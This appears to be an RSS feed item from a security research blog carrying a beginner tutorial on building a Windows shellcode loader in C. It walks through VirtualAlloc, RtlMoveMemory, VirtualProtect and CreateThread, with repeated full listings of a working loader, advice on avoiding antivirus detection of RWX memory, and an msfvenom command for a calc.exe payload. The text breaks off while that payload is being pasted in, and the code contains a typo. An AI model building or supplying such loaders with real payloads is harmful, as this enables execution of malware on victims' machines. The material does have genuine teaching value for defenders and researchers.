<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Null Threat Labs]]></title><description><![CDATA[Cybersecurity research.]]></description><link>https://blog.nullthreat.ca</link><image><url>https://cdn.hashnode.com/uploads/logos/68b9e899347934a7f443914c/60c2ead1-be89-499b-94ae-0021c2d4c17d.jpg</url><title>Null Threat Labs</title><link>https://blog.nullthreat.ca</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 28 Apr 2026 12:50:23 GMT</lastBuildDate><atom:link href="https://blog.nullthreat.ca/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Building a Noob Shellcode Loader]]></title><description><![CDATA[Disclaimer

❗
This blog is intended for educational and research purposes only. The content shared here is meant to help readers understand how malware and offensive techniques work so they can better defend against them. I do not encourage or suppor...]]></description><link>https://blog.nullthreat.ca/building-a-noob-shellcode-loader</link><guid isPermaLink="true">https://blog.nullthreat.ca/building-a-noob-shellcode-loader</guid><dc:creator><![CDATA[Anton Johnson]]></dc:creator><pubDate>Thu, 22 Jan 2026 04:33:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769056284644/aecb66e4-67b5-47f9-9063-4f2346068de5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-disclaimer">Disclaimer</h2>
<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">This blog is intended for <strong>educational and research purposes only</strong>. The content shared here is meant to help readers understand how malware and offensive techniques work so they can better defend against them. I do <strong>not</strong> encourage or support illegal, unethical, or malicious use of the information provided. You are solely responsible for how you use this material, and I assume <strong>no liability</strong> for any damage, misuse, or legal consequences that may result. Always follow applicable laws, respect systems you do not own, and stay ethical.</div>
</div>

<h2 id="heading-intro">Intro</h2>
<p>I know It’s been a minute since my first blog post and I’ve completed 3 steps of the master plan but it’s never too late to share the knowledge 😸</p>
<p>The title’s pretty self explanatory as to what this post is about so let’s get into it.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<h3 id="heading-understanding-cc">Understanding C/C++</h3>
<p>Due to the low-level system access and direct memory management required, the majority of malware used on Windows machines are written in languages like <code>C</code> and <code>C++</code>.</p>
<p>A solid understanding of <code>C/C++</code> will help out a lot in understanding the following code along with its logic and definitely go a long way in your malware development journey. I personally used <a target="_blank" href="https://www.codecademy.com/learn/paths/c">CodeAcademy’s Learn C Skill Path</a> (not sponsored I promise) to build up <code>C</code> programming skills since it had 8 built in projects and in lesson quizzes, but if you don’t want to pay for a course then <a target="_blank" href="https://www.w3schools.com/c/">W3 Schools C Tutorial</a> is a great resource as well.</p>
<p>I know recently Rust has been gaining popularity in the malware development community due to its inherent anti-analysis capabilities, memory safety and higher chances of it evading existing signatures, but like…</p>
<p><img src="https://media.tenor.com/Zvj5Y8d6fQQAAAAM/lil-uzi-vert-lil-uzi.gif" alt="3rd Day GIF - 3rd Day - Discover &amp; Share GIFs" class="image--center mx-auto" /></p>
<h3 id="heading-processes-threads-and-memory">Processes, Threads and Memory</h3>
<p>In the context of the Windows OS, <a target="_blank" href="https://en.wikipedia.org/wiki/Process_\(computing\)"><em>a process is the instance of a computer program that is being executed by one or many threads.</em></a> In simpler terms, a process can be thought of as a house or container that holds everything a program needs run such as it’s data, executable code, it’s own memory, etc. Processes can spawn more processes which are called child processes and they all have a unique Process Identifier (PID).</p>
<p>In the definition for what a process is there was the mention of threads. Threads can be thought of as little workers for the process that run the actual executable code. A process <strong>must</strong> have at least one thread but can have many, and threads are far lighter than the process itself.</p>
<p><a target="_blank" href="https://www.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/4_Threads.html"><img src="https://www.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/images/Chapter4/4_01_ThreadDiagram.jpg" alt="Operating Systems: Threads" /></a></p>
<p>Instead of using raw physical RAM, Windows uses virtual memory so each program thinks it has its own private mansion of safe memory space while Windows manages and protects the real RAM in the background. The reason for this is so that each process can only access its own Virtual Address Space (VAS), preventing one bug in a single process from crashing the entire machine, one process from reading or overwriting another processes memory without proper permissions and it’s simply just more efficient for multitasking.</p>
<h3 id="heading-executables-exes-and-dynamic-link-libraries-dlls">Executables (EXEs) and Dynamic-Link Libraries (DLLs)</h3>
<p>Executable (EXE) files are standalone files that include all the code and resources needed to run an application on their own. When an EXE is launched, Windows starts a new process and executes the program inside.</p>
<p>At least in <code>C/C++</code>, the <code>main()</code> function will be executed after the initialization process of the executable is completed by the OS loader.</p>
<p>Dynamic-Link Library (DLL) files, are libraries that contain reusable code, functions and resources that multiple applications can use simultaneously. They are designed to be loaded and executed by multiple processes, allowing various programs to share the same functionality without duplicating code.</p>
<p>DLLs can be thought of as a phone book of reusable code that programs/applications can call when they want need a certain functionality. This is really useful because it allows developers to be forced to recreate every function native to Windows from scratch making their programs/applications smaller.</p>
<h3 id="heading-the-portable-executable-pe-format">The Portable Executable (PE) Format</h3>
<p>Portable Executable (PE) files are the standard Windows file format for compiled executable code, i.e. EXEs and DLLs. When a PE file is loaded, Windows maps its sections into a process’s virtual address space and prepares it for execution or use.</p>
<p>Now since I could write an entire blog about the PE file format, I’m only going to cover and highlight the portions we need to understand solely for writing the shellcode loader. If you want a deep dive on the PE file format, Astra Labs has a great write up on the subject which can be found <a target="_blank" href="https://astra-labs.co/posts/PE-Header-Funamentals-The-First-Step-in-Malware-Analysis/">here</a></p>
<p><a target="_blank" href="https://astra-labs.co/posts/PE-Header-Funamentals-The-First-Step-in-Malware-Analysis/"><img src="https://astra-labs.co/assets/pictures/Blogs/PEHeaderFundamentals/pe101.svg" alt /></a></p>
<p>The sections we’re interested in are the <code>.text</code>, <code>.data</code> and <code>.rsrc</code> sections, as these are the sections where our payload (shellcode) can live locally within the PE.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Section</strong></td><td><strong>Description</strong></td><td><strong>Payload Storage</strong></td></tr>
</thead>
<tbody>
<tr>
<td><code>.text</code></td><td>Typically used to store executable code, such as the instructions that make up the program's actual logic</td><td>Stored within a function of the program, ex. <code>main()</code></td></tr>
<tr>
<td><code>.data</code></td><td>Used to store global and static data variables that need to be initialized before the program starts running</td><td>Stored as a global variable and read-only data</td></tr>
<tr>
<td><code>.rsrc</code></td><td>This section contains various types of resources used by the application, such as icons, bitmaps, strings, version information, dialog templates, and other non-executable data.</td><td>Stored as an icon (<code>.ico</code>) or bitmap (<code>.bmp</code>) file within the PE</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-shellcode-loader-primer">Shellcode Loader Primer</h2>
<p>A high-level overview of the shellcode loaders logic looks like the following:</p>
<ol>
<li><p>Create a buffer in the current process’s virtual address space the size of the payload</p>
</li>
<li><p>Copy the payload into the buffer</p>
</li>
<li><p>Update the protection rights on the buffer to be executable</p>
</li>
<li><p>Execute the payload as a new thread</p>
</li>
</ol>
<p>Remember those reusable functions and pieces of code I mentioned DLLs contain? Yeah, we’re going to use some ourselves, but specifically the some of the following Win32 APIs from the <code>kernel32.dll</code> DLL which is a core DLL to Windows OS.</p>
<ul>
<li><p><code>VirtualAlloc()</code></p>
</li>
<li><p><code>VirtualProtect()</code></p>
</li>
<li><p><code>RtlMoveMemory()</code></p>
</li>
<li><p><code>CreateThread()</code></p>
</li>
<li><p><code>WaitForSingleObject()</code></p>
</li>
</ul>
<h3 id="heading-win32-apis-breakdown">Win32 APIs Breakdown</h3>
<p>This section will break down all of the Win32 APIs listed above.</p>
<p>For more information on any of these functions, the <a target="_blank" href="https://learn.microsoft.com/en-us/windows/win32/api/">Microsoft Developer Network (MSDN)</a> is a fantastic resource for all Win32 APIs and can be easily searched by Googling <em>”Function Name” msdn.</em></p>
<hr />
<h4 id="heading-virtualalloc">VirtualAlloc</h4>
<p><code>VirtualAlloc()</code> is a Windows API used to reserve and commit memory within a process’s virtual address space, allowing applications to allocate memory dynamically at runtime and giving them more control over how memory is managed.</p>
<p>The functions prototype looks like the following:</p>
<pre><code class="lang-c"><span class="hljs-function">LPVOID <span class="hljs-title">VirtualAlloc</span><span class="hljs-params">(
  LPVOID lpAddress,        <span class="hljs-comment">// starting address of the region to allocate. Usually set to NULL so the OS chooses where to allocate the region</span>
  SIZE_T dwSize,           <span class="hljs-comment">// size of the region to allocate in bytes</span>
  DWORD  flAllocationType, <span class="hljs-comment">// type of memory allocation. typically:  MEM_COMMIT | MEM_RESERVE</span>
  DWORD  flProtect         <span class="hljs-comment">// memory protection for the region of pages to be allocated; ex. PAGE_READWRITE, PAGE_EXECUTE_READWRITE, etc.</span>
)</span></span>;

<span class="hljs-comment">// the return value is the base address of the allocated region if it succeeds. if it fails the return value is NULL.</span>
</code></pre>
<hr />
<h4 id="heading-rtlmovememory">RtlMoveMemory</h4>
<p><code>RtlMoveMemory()</code> is a function used to copy blocks of memory from one location to another, and it behaves similarly to the standard <code>memcpy</code> function.</p>
<p>The functions prototype looks like the following:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">RtlMoveMemory</span><span class="hljs-params">(
  <span class="hljs-keyword">void</span> *Destination,    <span class="hljs-comment">// pointer to the destination memory block to copy the bytes to</span>
  <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *Source,   <span class="hljs-comment">// pointer to the source memory block to copy the bytes from</span>
  <span class="hljs-keyword">size_t</span> Length         <span class="hljs-comment">// size of memory block to copy in bytes</span>
)</span></span>;

<span class="hljs-comment">// no return value</span>
</code></pre>
<hr />
<h4 id="heading-virtualprotect">VirtualProtect</h4>
<p><code>VirtualProtect()</code> is a Windows API that modifies the protection settings of a region of virtual memory within a process, letting you control whether that region of memory can be readable, writable, executable, or any combination of the three.</p>
<p>The functions prototype looks like the following:</p>
<pre><code class="lang-c"><span class="hljs-function">BOOL <span class="hljs-title">VirtualProtect</span><span class="hljs-params">(
  LPVOID lpAddress,      <span class="hljs-comment">// address of the region of memory thats protection attributes are to be changed</span>
  SIZE_T dwSize,         <span class="hljs-comment">// size of the region whose access protection attributes are to be changed (in bytes)</span>
  DWORD  flNewProtect,   <span class="hljs-comment">// memory protection option, ex. PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, etc.</span>
  PDWORD lpflOldProtect  <span class="hljs-comment">// pointer to a variable that receives the previous access protection value. If NULL, the function fails</span>
)</span></span>;

<span class="hljs-comment">// function will return a nonzero value if it succeeded and zero if it failed</span>
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">More on <code>PDWORD lpflOldProtect</code>; this is used to store previous page protection bits so the program can restore them later if it wants to.</div>
</div>

<hr />
<h4 id="heading-createthread">CreateThread</h4>
<p><code>CreateThread()</code> is a Windows API used to start a new thread inside an existing process. A thread is the smallest unit of execution in Windows, and multiple threads can run at the same time while sharing the process’s resources.</p>
<p>The functions prototype looks like the following:</p>
<pre><code class="lang-c"><span class="hljs-function">HANDLE <span class="hljs-title">CreateThread</span><span class="hljs-params">(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  <span class="hljs-comment">// controls handle inheritance; NULL means child processes can’t inherit it</span>
  SIZE_T                  dwStackSize,         <span class="hljs-comment">// starting stack size in bytes (0 = default size)</span>
  LPTHREAD_START_ROUTINE  lpStartAddress,      <span class="hljs-comment">// function the thread will start executing (our payload)</span>
  LPVOID                  lpParameter,         <span class="hljs-comment">// data you want to pass to the thread function</span>
  DWORD                   dwCreationFlags,     <span class="hljs-comment">// creation flags for new thread (CREATE_SUSPENDED or 0 to run right away)</span>
  LPDWORD                 lpThreadId           <span class="hljs-comment">// receives the thread ID (optional)</span>
)</span></span>;

<span class="hljs-comment">// if the function succeeds, the return value is a handle to the new thread. if it fails the return value is NULL</span>
</code></pre>
<hr />
<h4 id="heading-waitforsingleobject">WaitForSingleObject</h4>
<p><code>WaitForSingleObject()</code> waits for a specific kernel object such as a thread, process, or event to finish or signal.</p>
<p>The functions prototype looks like the following:</p>
<pre><code class="lang-c"><span class="hljs-function">DWORD <span class="hljs-title">WaitForSingleObject</span><span class="hljs-params">(
  HANDLE hHandle, <span class="hljs-comment">//handle of the object to wait for</span>
  DWORD  dwMilliseconds <span class="hljs-comment">// how long to wait before giving up; typically INFINITE</span>
)</span></span>;

<span class="hljs-comment">// don't worry about the return value for this lol</span>
</code></pre>
<hr />
<h2 id="heading-putting-the-pieces-together">Putting the pieces together</h2>
<p>Now that we have the shell codes logic and defined the Windows APIs that are going to be used out of the way, let’s start building the loader 🤠</p>
<p>Since I put having a solid foundation of C as a prerequisite, I won’t be explaining what header files, variable types are, although if the variable types are confusing here’s <a target="_blank" href="https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types">Microsofts documentation</a> on them.</p>
<p>Within the main function of the program, we can set up the variables that will be used in conjunction with the Windows APIs and for simplicity's sake, we’re going to store our payload in <code>.text</code> section of the PE so it’s home will be within the <code>main()</code> function of the program as well.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    unsinged <span class="hljs-keyword">char</span> pShellcode[] = {<span class="hljs-number">0x90</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0xc3</span>}; <span class="hljs-comment">// placeholder shellcode</span>
    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode); 

}
</code></pre>
<p>Next, we’ll allocate a buffer in the virtual address space of the current process (our loader) using <code>VirtualAlloc()</code>.</p>
<p>Now this isn’t going to make much of a difference for this loader since any competent AV will pick up on the MSFvenom payload and the Windows APIs imported in the PE’s <a target="_blank" href="https://0xrick.github.io/win-internals/pe6/">import address table (IAT)</a>, but allocating a new buffer in memory with <code>PAGE_EXECUTE_READWRITE</code> protection rights out of no where is a huge red flag for security solutions and will get you banned to the shadow realm almost immediately. So as best practices, we’re going to allocate the region as <code>PAGE_READWRITE</code> first then change it to <code>PAGE_EXECUTE_READ</code> when it’s ready to be executed.</p>
<p>We’re also going to be adding pauses to code using <code>getchar()</code> so we can analyze each step easier during runtime.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    unsinged <span class="hljs-keyword">char</span> pShellcode[] = {<span class="hljs-number">0x90</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0xc3</span>}; <span class="hljs-comment">// placeholder shellcode</span>
    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode);

    <span class="hljs-comment">// allocate buffer</span>
    pExecBuff = VirtualAlloc(<span class="hljs-number">0</span>, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    <span class="hljs-keyword">if</span> (pExecBuff == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not allocate buffer\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] allocate memory buffer in current process:\t0x%p\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();
}
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">The combination of <code>(MEM_COMMIT | MEM_RESERVE)</code> reserves a new region <strong>and</strong> commits physical memory for it immediately.</div>
</div>

<p>Once the buffer is allocated, we can copy the payload over to new region using <code>RtlMoveMemory</code>.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    unsinged <span class="hljs-keyword">char</span> pShellcode[] = {<span class="hljs-number">0x90</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0xc3</span>}; <span class="hljs-comment">// placeholder shellcode</span>
    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode);

    <span class="hljs-comment">// allocate buffer</span>
    pExecBuff = VirtualAlloc(<span class="hljs-number">0</span>, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    <span class="hljs-keyword">if</span> (pExecBuff == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not allocate buffer\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] allocate memory buffer in current process:\t0x%p\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    <span class="hljs-comment">// copy payload over ; no return value from RtlMoveMemory</span>
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] copied payload to buffer\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();
}
</code></pre>
<p>With the payload copied over we can change the protection rights of the buffer to <code>PAGE_EXECUTE_READ</code> using <code>VirtualProtect()</code>.</p>
<pre><code class="lang-c"> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    unsinged <span class="hljs-keyword">char</span> pShellcode[] = {<span class="hljs-number">0x90</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0xc3</span>}; <span class="hljs-comment">// placeholder shellcode</span>
    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode);

    <span class="hljs-comment">// allocate buffer</span>
    pExecBuff = VirtualAlloc(<span class="hljs-number">0</span>, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    <span class="hljs-keyword">if</span> (pExecBuff == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not allocate buffer\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] allocate memory buffer in current process:\t0x%p\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    <span class="hljs-comment">// copy payload over ; no return value from RtlMoveMemory</span>
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] copied payload to buffer\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &amp;dwOldProtect);
    <span class="hljs-keyword">if</span> (bState == <span class="hljs-number">0</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] updated protection rights to PAGE_EXECUTE_READ\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();
}
</code></pre>
<p>Now if <code>VirtualProtect()</code> succeeded, that means that the payload is ready to be fired off 😼</p>
<p>We’ll be executing it as a new thread using <code>CreateThread()</code> in it’s most basic form and waiting for it to finish executing before exiting using <code>WaitForSingleObject()</code>.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    unsinged <span class="hljs-keyword">char</span> pShellcode[] = {<span class="hljs-number">0x90</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0xc3</span>}; <span class="hljs-comment">// placeholder shellcode</span>
    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode);

 <span class="hljs-comment">// allocate buffer</span>
    pExecBuff = VirtualAlloc(<span class="hljs-number">0</span>, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    <span class="hljs-keyword">if</span> (pExecBuff == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not allocate buffer\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] allocate memory buffer in current process:\t0x%p\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    <span class="hljs-comment">// copy payload over ; no return value from RtlMoveMemory</span>
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] copied payload to buffer\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &amp;dwOldProtect);
    <span class="hljs-keyword">if</span> (bState == <span class="hljs-number">0</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] updated protection rights to PAGE_EXECUTE_READ\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    hThread = CreateThread(<span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>, (LPTHREAD_START_ROUTINE) pExecBuff, <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);
    <span class="hljs-keyword">if</span> (hThread == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not execute payload\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    WaitForSingleObject(hThread, INFINITE);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[*] executed payload in new thread (%d)\n"</span>, GetThreadId(hThread));
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to exit...\n"</span>);
    getchar();

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Now running this will execute the place holder shellcode which does virtually nothing , so let’s go ahead and generate our own.</p>
<hr />
<h3 id="heading-generating-the-payload">Generating the Payload</h3>
<p>The payload we’re going to use will be the standard MSFvenom calc.exe payload because if you can pop a calc then you can pop something more malicious.</p>
<p>The shellcode can be generated into raw bytes using the following MSFvenom command:</p>
<pre><code class="lang-bash">msfvenom -p windows/x64/<span class="hljs-built_in">exec</span> CMD=calc.exe EXITFUNC=thread -f c
</code></pre>
<p>The output should look something like the following:</p>
<pre><code class="lang-bash">❯ msfvenom -p windows/x64/<span class="hljs-built_in">exec</span> CMD=calc.exe EXITFUNC=thread -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of c file: 1188 bytes
unsigned char buf[] =
<span class="hljs-string">"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"</span>
<span class="hljs-string">"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"</span>
<span class="hljs-string">"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"</span>
&lt;SNIP&gt;
</code></pre>
<p>Using this output, we can now replace our placeholder shellcode with this one.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>{

    <span class="hljs-comment">// declare variables</span>
    PVOID pExecBuff = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold memory buffer</span>
    BOOL  bState = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used for see if VirtualProtect() failed</span>
    HANDLE hThread = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to hold the new threads handle</span>
    DWORD dwOldProtect = <span class="hljs-literal">NULL</span>; <span class="hljs-comment">// will be used to save old protection bytes of pExecBuff</span>

    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> pShellcode[] =
    <span class="hljs-string">"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"</span>
